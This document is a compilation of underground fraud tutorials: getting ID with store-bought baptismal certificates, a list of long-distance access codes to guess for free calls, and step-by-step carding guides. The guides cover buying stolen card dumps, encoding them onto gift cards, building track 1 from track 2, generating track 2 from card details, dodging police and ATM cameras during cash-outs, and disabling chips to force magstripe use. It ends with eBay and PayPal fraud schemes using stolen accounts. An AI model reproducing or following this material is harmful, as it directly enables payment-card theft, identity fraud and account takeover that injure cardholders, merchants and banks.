If you have trouble getting the above docs, then just go to Nevada. In NV they take almost every Type of ID known in the US. Included in what they will accept are W-2 tax forms & 1099 gift-tax forms. Armed with one of these and a baptismal certificate you can get a NV ID/DL with no problem, and on the same

day as well. NV is one of the few states that accept Baptismal Certificates. .... and Just'in Case you ddidn't know that, Bap. Certs. can be found at most at most religious bookstores & supply stores, especially Catholic.

An added bonus is that they DO NOT fingerprint in NV. You also have the option of having your ssn imprinted on the ID card, which is helpful for back-up ID. You just tell them your ssn and they'll include it. One bad thing is that there is no Exp. date on their ID cards, however there Driver Lic's. do have exp. date's and are worth the extra "drive" around the city to get. The best days to go are on Tuesdays or Wednesdays.
***Now here are a few additional points of interest to note for the heck of it, so here goes....

= THE =
- APPLICATION -

II.> Driver Information and the Application.

Quickly, there are 5 types of forms used by the DMV in processing such requests as DL, ID, Replacement (of either), Computer paper & the renewal application form (DL-1RN). BTW, according to this doc that I am sorta copying, it says that the renewal process will and is being phased out with "the new system now being installed". *CA has seen perhaps the very first of this 'new' system.*

13.011
Every applicant for an original, or renewal, driver license whose form DL-44 indicates previous driving experience, but who does not indicate or produce a previous license, should be asked whether he/she holds a regular license from California or any other state or country. The reason for the inquiry (Sec-12511 & 12518vc) should be "politely" explained. Instruction or learner's permit & "International Drivers Licenses" are not considered to be regular licenses. If an applicant over the age of 18 cannot produce a valid or recently (within one year) expired foreign license, a check by H-6 inquiry <?> to the automated sys. or Wats Line must be made prior to processing of the application.

+++H-6 inquiry to automated sys OR WATS line sounds like a hacking adventure!.. Anyone with info on this possibility please fill us in at 800/755-3493 x-9657.

IV.> PART 5:
\|/
?[>*C*H*I*P*=>!
/|\
P - PHREAKING>

Intro:

950XXXX.LST
Here is a current list of operating L/D Co's, which provide access to telco. lines across our fine country (ha!)... Of course what makes it so fine is that with each of these L/D carriers, there is a code that is entered to be able to access the fine features of each of these fine L/D service providers.

So someday with nothing better to do, give 'em a try and try out different access code numbers (randomly), and hopefully you'll be able to make FREE phone

calls in no time. Don't abuse it however, because they do tend to monitor any high usage on these numbers.

950-	Code Format	Name of Company	Comments
0223	6 digits + acn	Cable and Wireless	Business/calls overseas
0266	7 digits + acn	Com Systems	MC/V/AE w/o exp-ok! Hit "0"
0370	7 digits + acn	LDS	Long Distance Services
0488	acn + 13 digits	ITT	
0511	6 digits + acn	Execuline	
1022	0 + acn + 14dig	MCI Execunet	Calling card - 14 digit #
1033	0 + acn + 14dig	MCI	Calling card - 14 digit #
1044	6 digits + acn	Allnet	
1050	6 digits + acn	Metrophone	
1055	6 digits + acn	Telesphere	MC/V/AE ok too!! push "0"
1407	7 digits + acn	TMC Watts #1 in CA	
1408	7 digits + acn	TMC Watts #2 in CA	
1444	9 digits + acn	Allnet	International Access also
1555	6 digits + acn	Telesphere	
1621	9 + acn + 6dig#	na	9 + acn + 6 digits?
1772	code + acn	na	Voice for "access code"
1820	na	BizTel	
1979	6 digits + acn	VorTel	
1999	6 digits + acn	ITT	800/275-0100 for account

*** also worth noting here is that AT&T has a rather interesting 950 number. It is 950-1288 (1ATT)! It is a carrier (modem) and runs up to 9600 baud, and is 8N1. Try it out- it ain't easy neither!...e

Dumps Tutorial :#3

Digit 1 (most significant): Interchange and technology:
*
0: Reserved for future use by ISO.
1: Available for international interchange.
2: Available for international interchange and with integrated circuit, which should be used for the financial transaction when feasible.
3: Reserved for future use by ISO.
4: Reserved for future use by ISO.
5: Available for national interchange only, except under bilateral agreement.
6: Available for national interchange only, except under bilateral agreement, and with integrated circuit, which should be used for the financial transaction when feasible.
7: Not available for general interchange, except under bilateral agreement.
8: Reserved for future use by ISO.
9: Test.
*
Digit 2: Authorization processing:
*

0: Transactions are authorized following the normal rules.
1: Reserved for future use by ISO.
2: Transactions are authorized by issuer and should be online.
3: Reserved for future use by ISO.
4: Transactions are authorized by issuer and should be online, except under bilateral agreement.
5: Reserved for future use by ISO.
6: Reserved for future use by ISO.
7: Reserved for future use by ISO.
8: Reserved for future use by ISO.
9: Reserved for future use by ISO.
*
Digit 3 (least significant): Range of services and PIN requirements:
*
0: No restrictions and PIN required.
1: No restrictions.
2: Goods and services only (no cash).
3: ATM only and PIN required.
4: Cash only.
5: Goods and services only (no cash) and PIN required.
6: No restrictions and require PIN when feasible.
7: Goods and services only (no cash) and require PIN when feasible.
8: Reserved for future use by ISO.
9: Reserved for future use by ISO.

Check this it out... i hope you will understand how to check it.

Example... to check 101

101 =

1: Available for international interchange.
0: Transactions are authorized following the normal rules.
1: No restrictions.

Thats the meaning of 101 and how it will be authorized.

Dumps Tutorial :#4

What do I need for real carding?
This is a very good question you will need some cash. And the following will be helpful but not required at first. You should get these items at some point, but you don't need them right away. And I will tell you why in next section.

Computer-laptop is best, as you can carry it with you on your op?s if you desire. If you don't have a laptop you can use your home P.C. till you can afford to get one. Of course with home PC you cant take it with you on your ops

Encoder - If you look around most every has or talks about an MSR206 this seems to be the preferred encoder, but you can also use an AMC722. The AMC722 is usually cheaper and does the same thing. Look on the net and you can find these for pretty decent prices. There is a internet company that will ship overnight and you can send payment by Western Union. The have a special for $550.00 you get MSR206

+ Exeba Encoding Software + 50 loco or hico cards. Also XRAYSWIPE has pretty good deals on them also and is a reviewed vendor. You can use Exeba Comm software or TheJerm has a software program for the MSR206.

Laptop Bag - You can put your laptop and encoder in this also. Nice to have if you want to take your laptop and encoder on op?s.

Power Inverter - Needed to run your encoder and nice to have if out for long period of time and laptop is dying. You can get these just about anywhere even wallyworld.

Novelty Id - This should be at the top of your list as one of the first thing?s you should get. You will need this at some point you do not want to use your real info. I repeat do not even for 1 time use your real information. There are some good vendors that are quick also. Just look under the reviewed vendor section for more details.

Dumps - Get them from zeusk. You can get classic, gold, platinum, world, business, signature etc. If this is your first time you may want to get classic and start by shopping for low end items. IE anything under $200-$500. Now classics working not good and will go for 1 or 3 times that but the general rule of thumb is under $300 and you should be okay. Gold and Platinum for items above $500 but say to $1,000 and Business, Signature $1,000 and above. These are just suggestions and not hard rules.

Track 1 and 2 or just Track2 - you can get from zeusk. If you just have track2 only you can generate track 1 with PCKit-track1 generator. You will want to encode both tracks to your card. Making sure to change the name on the dump. Some stores only use track2 but it's best to stay safe and encode both.

Dump Example
Track1 B4100000000000000000^REGAN/RONALD^0409XXXXXXXXXXXXXXXXXX
Track2 4100000000000000000=04091XXXXXXXXXXXXXXXXXXX

You of course change the name on track1 to your Novelty last name and first name.

Plastic cards to put dumps on: Okay again never use your own card to encode onto, just not the best idea. You can get cards from just about anywhere, some drugstores sell prepaid cc's, you can try that or get a Visa or MasterCard branded gift card. Most malls carry this type of GiftCard. Simon Cards have been used a lot in the past so I would suggest staying clear of those. The best way Buy from plastic vendor.

Wallet-You will need extra wallet to store you novelty items. You don?t want to use your own wallet and keep having to take you real cards and id out and replacing them with your novelty.

Anon Phone-Don't really need but if you have a phone merchant you can call from anon cell before going to use your card.

You don't need everything I have but they all are helpful.

Quick Start Up: Okay so you don?t have the time to wait to get all your tools or maybe your cash flow is not flowing. You may ponder how can I get up and going as quickly and cheaply as possible.

Answer: You can buy dumps from reviewed vendor of course and buy plastic from plastic vendor. Most plastic vendors will encode your cards for you. This may be the cheapest way to go. Say you buy 5 dumps for $50.00 = $250.00 and 5 plastic for $75.00 =$375.00 total for both $625.00. Add a drop to that $50.00 and for $675.00 you will be ready to go. Another advantage with going this route is you will have matching plastic. The plastic vendor will emboss your plastic with your novelty information. If you don?t have a lot of funds try taking a cash advance on your own card. You will be able to repay it rather quickly.

Okay I finally got everything, I'm Ready to go Right?

Answer: Okay hang on there Skippy, you may think you are ready but are you??

Get into The Correct Frame Of Mind: Remember you are the Cardholder this is your card and you will treat it as such. Repeat 50 times then say back words 25 times, lol, Just kidding but you are who you say you are. This is your card don?t be scared this is your card. Who?s Your Card? Also a good idea to be aware of what your novelty id says. Know the address etc, this will help you feel more at ease and will help if cashier ask off the wall question. Be prepared go over in your mind how different scenes might play out and have good sensible answers.

Remember the customer is always right, Never let them think you?re not legit even if they throw it in your face.

Pick Your Poison! (Where should I shop)
If you are a Newbie you should try stores with self swipe checkouts. Just beware some of the self swipes will verify your id. Also if you want to get your feet wet grocery stores with self swipe are real nice. They even have the ones that you ring up your own shit and pay without any cashier present.

Gas Stations- I would suggest staying away from gas stations. Most have cameras and why risk someone getting your car info for such a small purchase. Plus some dumps will die quickly when using a Gas Station.

Using Cards with non-matching last 4- Simple shop at stores that do not check last 4 or use AVS or type in CW2 I?m not going to post which stores do and do not at this time. If you don?t know any off hand go there in person and use your legit card and watch what they do.

Cards with matching last 4- Shop anywhere that doesn?t have AVS or type in CW2 I will not list any stores you will have to do your own research.

What is AVS?

Address Verification System- verifies cardholders real addy, sometimes only uses zipcode.

Security- This is a very important topic, and here are some tips. First never park in front of store in which you are shopping. If someone gets suspicious of you they may write down your license plate or if they have cameras outside they may catch it on there cameras. Always park far enough away that the store cant see which car you got into. If possible park around a corner or have someone else drive and wait out of site for you. If you are using the buddy system You can get some 2 way radios or both keep cell phone on you and if shit hits the fan you can sprint away and have the car meet you somewhere nearby. Never run directly toward your car if shit hits the fan and you have the run, then security is probably running after you. See planning for more information on this. Also you may want to carry a small can of mace or pepper spray key chain size etc. This can be used to get your freedom from security but may lead to more charges if your caught.

Planning- Okay You are now just about ready to go.

1. What area will I be shopping at and what stores- Best to know in advance you can make driving directions to the area and from store to store. This is nice and will sped up the time your in one area. Helps you find the quickest way to and from area also. You don?t have to go this route you can go what I would call this free styling.

2. Once you spot your store find good parking spot away from camera out of view from store. Look around what will you do if shit goes wrong. A good rule of thumb is never run directly toward your car.

You can park around the corner in next parking lot over. If shit hits fan you can exit store go in opposite direction and loop around behind the store to your car. Unless your 500 pounds and cant run in which if you try this method you may bet caught if you have to run.

3. Bring other Shirts with you. This is nice, you can change your shit when shopping at different stores this will help you keep much safer. And if your being chased you can take one off and have the other one underneath.

4. Most of the time you wont have any problems and you may tire of parking so far away, you tell yourself I?ve done this 100 times and no problems. But never let your guard or security down. This is what keeps you safe plus it?s good to walk a bit for heath reasons.

5. Keep them guessing, some people wear hats and sunglasses. My advice don?t wear sunglasses inside it only makes you look shady. A easy way to change your appearance is to use real glasses. If you don?t wear glasses use Stage glasses these look like regular lenses but are clear with no prescription. If you already wear glasses try different frames or use contact lenses. Also you can change your facial hair, grow a mustache or a goatee or beard. Then shave it off after sometime and go bareback etc. These are ideas to change your appearence.

6. Dress the part, dress to fit in, you don?t want people to remember you.

7. Always shop a good distance from where you live. You don?t want them to catch you on camera and put a picture of you on the news for your family or friends to see. Also you don?t want to go back to the same stores using your legit information. It?s unlikely they will catch you but you can never be too safe.

Okay I?m ready

Okay you have your cards and dumps, you planned your op out and you have got your mind ready to go what?s next?

Shopping- Yeah let?s go, Remember this is your card. Be confident and act normal. Pick out your product proceed to cashier and check out. Choosing your cashier is vital and you will get rather good with this as you go from what I have heard. Usually younger females are the best. You want them to process you like everyone else. Make them feel they have no reason to ask for more information like id etc. If they ask for id show them , keep in your wallet and just hold it for the can see,
If they ask to see your card to compare signatures let them do it but keep you hand held out till they give it back. Start small and grow slowly , take time to learn the ropes and it will pay off for you big time.

Also if you card is declined it?s a good idea to carry a backup with you. You can tell them you might have overdrawn your account or limit and tell them you will try another card. If your 2nd card is declined or you don?t have one. Tell them you will go to bank or go get your checkbook etc. If for some reason you get a pick up card tell them you wife or girlfriend lost her card and reported her?s lost and you forgot. 99% of the time they will say okay. You can then try another card or tell them you will be back with checkbook.

Call for authorization- if this happens tell them you in a hurry and don?t have the time to deal with that or tell them your card must be over the limit and you don?t want to purchase the item now. Act as a cardholder would act embarrassed. Whatever you do don?t go through with the call especially if they have your card in there hand.

What to stay away from- If you are new don?t try carding a laptop right away. Start small , I would suggest staying away from high fraud items IE laptops and electronics. Also stay away from high security stores i.e. BB and CC. And stay away from malls they have more security then you need to deal with in the beginning.

I will try and update this from time to time, feel free to give your input. Thanks and good luck!

Dump Tutorial :#5

The following article explains practically how vulnerable banks are in the operation of ATM cards. ATM cards (Credit cards) usually has a magnetic stripe that contains the raw data called tracks for its operation. The physical layout of the cards is standard. The LOGICAL makeup varies from institution to institution. There are some generally followed layouts, but not mandatory.
There are actually up to three tracks on a card.
Track 1 was designed for airline use. It contains your name and usually your account number. This is the track that is used when the ATM greets you by name. There are some glitches in how things are ordered so occasionally you do get "Greetings Bill Smith Dr." but such is life. This track is also used with the new airline auto check in (PSA, American, etc)
Track 3 is the "OFF-LINE" ATM track. It contains security information as your daily limit, limit left, last access, account number, and expiration date. (And usually anything I describe in track 2). The ATM itself could have the ability to rewrite this track to update information.
Track 2 is the main operational track for online use. The first thing on track to is the PRIMARY ACCOUNT NUMBER (PAN). This is pretty standard for all cards, though no guarantee.
Example of Track1
B4888603170607238^Head/Potato^0505101000000000012031918051910000000
Example of Track2

4888603170607238=05051011203191805191
Usually only track1 and track2 are needed to exploit the ATM card.
Let us examine track1.

Take the Credit Card account number from Track 2 in this example it is:4888603170607238 and add the letter "B" in the front of the number like this B4888603170607238 then add the cardholder name YOU want to show on the card B4888603170607238^Head/Potato^(Last name first/First Name)next add the expiry date and service code (expiry date is YYMM in this case 0505,and in this case the 3 digit service code is 101 so add 0505101 ,

B4888603170607238^Head/Potato^0505101

No add 10 zero's after service code:

B4888603170607238^Head/Potato^05051010000000000

Next add the remaining numbers from Track2 (after the service code)

B4888603170607238^Head/Potato^0505101000000000012031918051910

and then add six zero's (6) zero's

B4888603170607238^Head/Potato^0505101000000000012031918051910000000 this is your Track 1

Track 1:B4888603170607238^Head/Potato^0505101000000000012031918051910000000

REMEMEBER THIS IS ONLY FOR VISA AND MASTER CARD(16digits) , AMEX HAS 14 DIGITS, this doesn't work for Amex

FORMAT FOR TRACK2
CC NUMBER: YYMM (SERVICE CODE)(PVV)/(CVV)
Here is the Fleet's credit track2 dump:
4305500092327108=040110110000426
we see card number, an expiration date, 1011 - service code, 0000 is the place for pvn (but it is absent!), and at least 426 is the cvv (do not mix with cvv2)

Now let's take a look on MBNA's track2 dump:

4264294318344118=04021010000044500000
here we see the same - no pvn's and other verification information -just a cvv.

As clearly shown above it is possible to generate track1 from track2 using the method shown above. However track2 gen software automates the process.
The major process of getting the track2 info is through skimming. Fraudulent POS (Point of sale) merchants can use handheld devices called skimmers to read off and download the tracks data from your credit card if you are not careful. This is the main method of obtaining the original tracks from the credit card.
However this article will focus on the exploitation of ATM cards using credit card info such as Credit card number, cvv2, Exp date and PIN and then using algorithms commonly called ALGOS to generate the track2. These credit cards infos are normally obtained by spamming. There are a lot of reviewed [censored] who sells these infos in some carding forums.
Now it is interesting to note that there are a lot of talks about track2 generation possibility. How much is it real? However in my own candid opinion, it is very possible to generate track2. The simple truth is this.

Generation process of debit (and some credit) dumps from the credit card number, expiration date and cvv2 code becomes possible because of the banks' weak, "nonsaturated" structure and the banks failure to actually carry out proper validation of the track2 info. It might interest you to know that about 10% of banks are vulnerable. This vulnerability called pvv loophole have been fixed for the major banks But still sometimes the idiocy and negligence shown by employees of many American (and not only) banks quite often continues to surprise all: about 10% of issued cards still vulnerable, even for the moment.
During the last 2 years I have come to discover so many banks which are still vulnerable to this attack. This forms the basis of this article. Armed with the right tool, you can actually encode cards using cc number, cvv2, Exp date, PIN and the algos.
Now what is the nature of the algos you might ask? I will give you a sample.
518445**********=YYMM10100000000779
529107**********=YYMM10100000000CVV
These are track2 info. The RHS is the card number. YYMM is the exp date
(year/month) and the CVV is the card verification value. The first 6 digits of the card number is called the BIN . You only neeed to know if the BIN is casahble or vunerable to use the Algo.
Below is the screenshot of the Algo list I have compiled and tested to work 100% (About 800) .

Because some banks fail to actually validate the full track2 info, it is possible to use track2 generators softwares to attack the BINS. You simply enter the credit card number, cvv2, exp date and you get the generated track2. Remember this only works for weak BINS or cashable BINS. To test if the track2 you have generated is working before practically going to the ATM with the PIN to cash out, it is important you check the track2 using online checker. This will save cost for your embossed cards and it will be safer for you. I can offer you this service at a modest price of $3 for one track2 info. If you get 00 approval code and you have the right PIN , you will have about 97% success.

-

Dumps Tutorial :#6

Short tut, on how to make track one with track 2..
couple days ago i was looking how to do this, found a way,and just want to post if it may help anyone..I know kreenjo offers a gen, but maybe you are not sure if he is keep logs on it....or maybe you just want to know if gens ever go down...

Take example of last dump Track2 (this is a dump):

Example dump info: 4888603170607238=05051011203191805191 PATACSIL/DAVID Bank of America, N.A. (USA) CREDIT PLATINUM United States of America

4888603170607238=05051011203191805191 <----This is Track 2 (we want to make Track 1 out of Track 2

Head/Potato <---the name of the card holder (LASTNAME/FIRSTNAME)

Bank of America, N.A. <-- Bank Name

(USA) <--- Country of Bank

CREDIT <-- Credit or Debit (in this case it is Credit)

PLATINUM <--type of card, eg. Classice, Gold,Platinum

United States of America <--Country

When you see and equal sign (=) in a Track it always means it is Track 2

When you see the letter (cool.gif in front of the Track it is always Track 1

Now to Make a Track 1 From Track 2 see instructions below (there are online web sites that do this but it's good to know the basics of doing it , just in case you can't get to an online web connection)

Take the Credit Card account number from Track 2 in this example it is:4888603170607238 and add the letter "B" in the front of the number like this B4888603170607238 then add the cardholder name YOU want to show on the card B4888603170607238^Head/Potato^(Last name first/First Name)next add the expiry date and service code (expiry date is YYMM in this case 0505,and in this case the 3 digit service code is 101 so add 0505101 ,

B4888603170607238^Head/Potato^0505101

No add 10 zero's after service code:

B4888603170607238^Head/Potato^05051010000000000

Next add the remaning numbers from Track2 (after the service code)

B4888603170607238^Head/Potato^05051010000000000001203191805191

and then add six zero's (6) zero's

B4888603170607238^Head/Potato^0505101000000000012031918051910000000 this is your Track 1

Track 1:B4888603170607238^Head/Potato^0505101000000000012031918051910000000

REMEMEBER THIS IS ONLY FOR VISA AND MASTER CARD(16digits) , AMEX HAS 15 DIGITS, this doesn't work for Amex

Dumps Tutorial :#7

It applies mostly to the US, but others can pick up some tips too.

How to cash out Dump + PIN and sleep peacefully at night, what is there to fear? And the most importantly – how are they trying to find us?

I'm sure everyone has their own methods and approaches, so we will not state that we are smarter then anyone else. We will simply tell about our approaches and applied tactics then everyone will make their own conclusions. I will only say that observing our rules and approaches, through the past 3 years, not one of our fighters has been caught.

1. The fastest and most productive way. We use it only for large amounts of a material, but unfortunately for the majority this is out of reach as it requires big capital investment. Not everyone can use this method, but for the general picture we have decided to share it.

Group or one person working on motorcycles.

Amounts that we did in half a day using motorcycles was 10 times greater than what the same group can execute in 3 days using cars. The point is that we can drive up to the ATM without even getting off the bikes. Black bike, black helmet - there are thousands of those in the city. Of course the bikes are without license plates and exclude any unique features.

For example ... All of our bikes have a toggle-switch for turning off the back light. In case if anyone follows you at night, you can become invisible almost momentarily. To give you an idea of what we do during daytime - we use 2 groups on 3 bikes each. Only 2 bikes are cashing and the third one just rides around. In case of danger during the routes – if COPS want to pull over one of the 2 bikes, 3rd bike will speed up or do some sharp movements (as it seems to COPS). Of course COPS will focus all of their attention on the escaping bike leaving alone the other two (filled with money and cards). So far COPS had no luck catching the escaping bike) we use "turbo charged HAYABUSA" motorcycles, but even if they do catch up ... maximum they can give a speeding ticket, because that driver has nothing on him. We always leave a car near to the place of work. It is very convenient – just stop by for a few minutes every so often to drop off the money and empty cards.

This method is very effective but only for large cities, besides not everyone can drive a motorcycle and I am not even talking about their price.

2. Using a PICK UP TRUCK. All charm of this method is that it enables to hide the license plates easily and the most importantly - legally. Trucks overflow US roads, as they are very common and easily accessible. They do not attract much attention and can be easily lost in sight. Alright ... Everyone knows that in the US driving a car without front license plates is not a huge offence and COPS usually do not pay attention to that. But we still have the back license plate!? We pull down the trunk door and drive the car with an open trunk ... In this case the license plate is only visible to other drivers but absolutely not visible to cameras located on buildings. This allows parking near the ATM and accelerates your work.

Plastic.

Never use plain/ white plastic. It is not safe for many reasons. Someone can notice it and understand what's going on. If cops will find it – they will know what it's used for right away. And most importantly ... if such card is retained by the ATM and in the evening when workers take it out – they will understand what it is, they can make a police report and give it for examination which would reveal your finger prints. Just go to any grocery store and pick up some GIFT CARDS for example VISA or MC. These cards don't draw attention of any passer-bys; if COPS will find them, they will see them for what they are – gift cards, and the most importantly ... When workers will take it out from the ATM (if the card was retained), at least 10 people will touch the card – holding it in their hands and trying to figure out what moron wanted to take out CASH from a GIFT CARDS. At least this card will not go straight into a plastic bag for examination.

NEVER WRITE ON THE CARD!!!! Lately COPS are instructed on different signs to pay attention to in case of credit card detection. And so believe me... they examine each card at least for good 5 minutes. And God forbid a PIN is written on it. Use labels or mark the cards and keep the PINs separately.

ATM!!!

There are about 10 different kinds. Study them before beginning your work. If you see a small mirror - 90% chance that there is a CAMERA behind it. You see the black plastic square built into the panel by the pin pad or located by the monitor - 100% it's a camera. You can't hide from it but you can easily cover it with a sticker or something else. Cameras do not record all the time ... They start only after you have inserted the card in the ATM. Also, they shoot 15 frames per second - not 24 ... meaning that at reproduction the image recorded by the camera will be time-lapsed. And even if your face has got into the shot – don't worry. It is impossible to find someone by the picture. ATM camera in mainly used for: when the card holder calls to the bank claiming stolen money - bank does an investigation and looks at the recordings from the camera. In 50% of the cases stupid Americans take their money themselves and then declare that someone has stolen it. Then bank tells the Americans about the cameras in the ATMs, and that the cardholder took out the money himself; and if they continue doing this - they can end up in prison. Therefore no one will search for the face in the camera shot. However if your license plates will get in the shot - that's a different story.

Storage of cards!!!

Never keep all of the cards in your pocket. Hide them all in the car and take with you only the ones you will be using. By the law US COPS can search you in the street or for any small traffic violation. However, they cannot search your car. In other words ... for example they stopped you and searched you, if they have not found anything in your pockets - they will ask you to search your car. You can safely say NO!!! If you don't have any pending warrants and nothing in your pockets – they would need a warrant to search your car. And they cannot get a warrant without a valid reason!!! We had a case when we were

searched and asked to search the car ... We refused! After which the obnoxious COP said: we will now request a search warrant from the police department and will search your car. We nodded our heads and politely asked to sit in the car. In 20 minutes the COP told us that he is dispatched to an urgent call, threw our documents in our car and left. Clearly, no one can give him a search warrant without a legitimate reason. Before starting your work – get very familiar with the local laws.

Try to keep all of the cards hidden and the less possible on hands. However, if you are getting pulled over by COPS and you have a small amount of cards on hands - the best way is to dump them into the car door. When the window is open, there is a crack between the glass and the metal. Dumping the cards there - they fall directly inside the door. To get them the door would need to be disassembled and no one (COPS) would do that without a reason.

Communication facility!!!

Never keep your personal cell phone with you, as it is constantly registers by the operator – tracking your movement. For communication use only new phones activated specially for work and do not call anywhere besides another phone with the same purpose. Another example … for example your mobile phone works only with one operator (as previously iPhone) and approaching the ATM you are holding it in hands. Believe me, those looking for you can request the phone operator for all phone numbers which were registered in this region at that time ... Certainly the list will be long, but on the next report which they will request on another location (where you cashed out another ATM) same phone number will be precisely visible - the phone number which was in both places during required time....

Work in different city/ state.

Always remember that any card will work better at home. I am not even talking about REGION BLOCKS which is a big deal. And so … If the card is from one state and you start cashing it in another – the protection on UNUSUAL ACTIVITY works instantly and the bank will most likely call the cardholder. If the card is cashed in the same state - it will work much longer. It is already proven by us. So if you have a large amount of material from one place – think about it, maybe it's worth going there.

Another very important detail. When the cardholder calls his bank claiming someone stole his money - bank automatically sees the cardholder as suspected #1. Because the bank doesn't understand how and who can know the PIN code, that is known only to the owner. Maybe the bank understands, but it is easier to politely refuse giving a refund to the card holder due to lack of the INFORMATION CONFIRMING INNOCENCE of the OWNER. Sounds ridiculous, but it so ... the cardholder has to convince the bank of his innocence. That's why ... If you cash the card in other state - it will be easier for owner to prove that it wasn't him. If the bank knows that the owner is not guilty – they will start searching for the one who is. Well and if you bombed a card in a place of its residence – it will be hard prove cardholder's innocence and accordingly nobody will search for you … and if they will – it won't be soon.

I think everyone knows how to find out where the card is from.

Overlook your surroundings.

We always take a couple of days to examine local surroundings before starting work. During these couple of days we map out good/ rich and bad areas. We plan routes in advance: observe what time and how many COPS patrolling the area, also looking at the arrangement of banks and stand-alone ATMs. We find out where the bars and night clubs are located … In the evening there are many people – that is what we

need. If you work at night we do not recommend using ATMs located in non-crowded places. Always remember that a patrol car can show up anytime and if you the only alive person in their sight – you will catch their attention. I recommend going to STRIP CLUBS ... you can look at the girls and the ATMs are good there. The limit on withdrawal is higher than in bank ATMs and anybody will pay attention if you take money from 4-5 cards. That is a normal phenomenon there.

Dumps Tutorial :#8

Today we discuss a little about 201 dumps - a lot of peoples just running away once they seeing terrible number 201. Feel easy - things not so terrible.
First of all i would like to say that write 201 dumps on the chip it is not a fantastic, but is real things, and actually not so hard to do. But i want to discuss another thing - i would like to give you a hint how to use 201 dumps everywhere - even in such places where pos terminal requires chip...

Lets begin...
First thing we should have is a card with chip and magnetic stripe.Then we have to look pretty in the home for 12V AC adapter. Found. Good. Now all we have to do is to scratch a little chip metal contacts with + and - of the adapter. Seeing nice sparks - sign of good work ;-) After this little surgeon chip is not working anymore and this is extractly what we need. Now we have to encode 201 track to the regular magnetic stripe of the card and safely go to shop... Once the seller trying to insert the card with the chip he/she gets a nice error (additinally you can give him a reason that you washed your wallet with the card and chip is not working), and now most interesting part - once the terminal detects that chip is not fucntioning it switches back to magnetic stripe mode and allows you to swipe the card, all you have to do is to persuade the cashier to do it.

Ebay + Paypal Cash out

Hey, today I would like to teach you a simple but effective method.

In this method, you need two PayPal accounts and two eBay accounts.

Step one: You buy a PayPal and an eBay account off someone. The PayPal should be verified and linked with a CC. The CC needs to have a high limit.

Step two: Sign in to your personal eBay account and list a product that costs like 300-4000.

Step three: Sign in with the stolen eBay account and buy the product with the stolen PayPal that you listed. Verify the transaction with the stolen eBay account, and feedback to your real eBay account.

Step four: Take the money to your eBay account and spend it to whatever you like. The person will not be able to charge-back because you accepted the payment with the stolen eBay account.

That's all it takes to do this guys!

Happy carding!

- Hey, today I would like to teach you a simple but effective method.

  In this method, you need two PayPal accounts and two eBay accounts.

  Step one: You buy a PayPal and an eBay account off someone. The PayPal should be verified and linked with a CC. The CC needs to have a high limit.

  Step two: Sign in to your personal eBay account and list a product that costs like 300-4000.

  Step three: Sign in with the stolen eBay account and buy the product with the stolen PayPal that you listed. Verify the transaction with the stolen eBay account, and feedback to your real eBay account.

  Step four: Take the money to your eBay account and spend it to whatever you like. The person will not be able to charge-back because you accepted the payment with the stolen eBay account.

  That's all it takes to do this guys!

  Happy carding![/quote

  More explanations needed

***Withdraw / Cashout from Limited Paypal ***

Do you have Paypal account with a positive balance and need to Cashout stucked Fund?

Do u have Paypal Account with Limited Access ???
Is it over 180 days old?
Did u recive the email to withdraw funds?
Do u have more than 100$ in your account?

If all "YES" send me a message from contact us or knock on live chat , i can cash out from your forgoten paypal account

How will i pay - PayPal,Neteller , VCC , LR (For LR ,Additional exchange fee applies)
How long will it take? - 3 - 5 Days
How much i charge?

Fees:
50 - 100 - 60%
101 - 500 - 55%
500+ - 50%

Note

1. 180 days older paypal
2. Don't ask me to pay first
3. Sometimes the process fails due to paypals failed transfer, if such case we are not responsible.
4. Don't ask to cashout hacked account, I will block your contact

Details -
The account must have a positive balance , prefferably 100+
Please note, if the account is limited, 180 days (6 months) must have passed since the limitation.
Sometimes this only takes 45 days, message me for details.

You will receive the remaining balance, as soon as the funds clear.
I will follow up with messages at least once a day.
You will get and payments as quickly as possible.

This service is available for every country in the world.
This is a one time deal, if you need ongoing withdrawals, please message me.
I will not give you cash up front. Don't ask.

If you need a different form of payment, just ask.
Accounts must be yours, I will not cashout hacked/stolen accounts.
Please message me to get started!

To attend live chat or see further details , visit:

verifypp .com

Or Add me in skype : **Miskat.thamid.aziz**

Ebay Tutorial

This article is mainly for beginners who still don’t know how to begin.

So first you should do – learn language you’re going to communicate with customers well. If you can’t – forget about auctions. Selling – it’s communication firstly. And you won’t be able to sell anything without communication.

So you’re newbie, don’t have experience, money. Too bad. Anyway if you don’t have knowing friend you need some money to but accounts, cvv’s, socks.

I’d like also to add a few words about technical aspects of working with eBay. For successful work will be enough if you’ll have IP address of country you work with, it’s not obligatory to be the same as holder’s city. Also eBay doesn’t check system language, time. I recommend you to make not the GMT -8 time as it has main eBay office. It’s also possible to use yahoo mail server.

Seller’s account registration.
Besides common data you’ll be asked to enter Primary telephone, Secondary telephone, Date of Birth. You should enter the number which doesn’t belong to holder but belongs to the same geographical position. It’s not recommended to use “always-busy” numbers – eBay has a database of such numbers and

you'll be asked to verify your number. The same about toll-phre and cell phones (but not always). If you have an account with enough amount of feeds, it's worth to order a phone number in USA and use it also for communication with buyers – and it could be a point of successful deal. You can use it and for unlocking of your account if it will be temporary blocked.

After you'll confirm your registration by clicking the link in the letter – you'll receive fnctional buyer's acc with 0 feedbacks. Next press "sell" button to register as a seller. You'll be asked to enter holder's and his card's data. Also you will have to enter the data of holder's checking account (bank name, routing, and account's number). Of course we don't have holder's bank account. And we don't need it. It's enough to find bank name by BIN look up and find routing number of this bank. Further you can enter random number. But if you'll enter bank account which was already registered before – be ready that your fresh account will be locked on the next day.

Lots posting and selling process.
With fresh accounts you can:
1. Post lots with cheap stuff;
2. Promote them a little and post more expensive stuff.

It's better to do lots posting from 5AM to 9 PM PDT as in another time all law-following civilians are sleeping. The same about time of contact with buyers (phone and email). Sellers themselves recommend to post lots from 5 PM to 7 PM (PDT) as buyers activity is the best at this moment.

Accounts promotion.
For accounts promotion you'll need a little imagination and patiens,
Remember that first 30 days after registration you'll have "beginner-mark" near your user ID. Such accounts almost useless for work as it attracts buyers' suspicions. So this time you can promote it or just forget about it or a month.
Firstly on most of new accounts new cheap stuff is posting, better "was in use". Further you buy it from your buyer's accounts and receive some positive feedbacks. It's enouth 1-3 such feeds to be possible to post more expencive stuff.
In case if your lot will be won by real buyer you should work a little more to get rid of him. Of course you can change registration data and try to take some money from him – but trust me, It's not good idea.
Also posting s lot of lots at once to speed the promotion is not a good idea, It will have success in case of not popular and cheap stuff, but anyway buyers first look at the last feedbacks and lors which was bought for them.

Selling from fresh accounts.
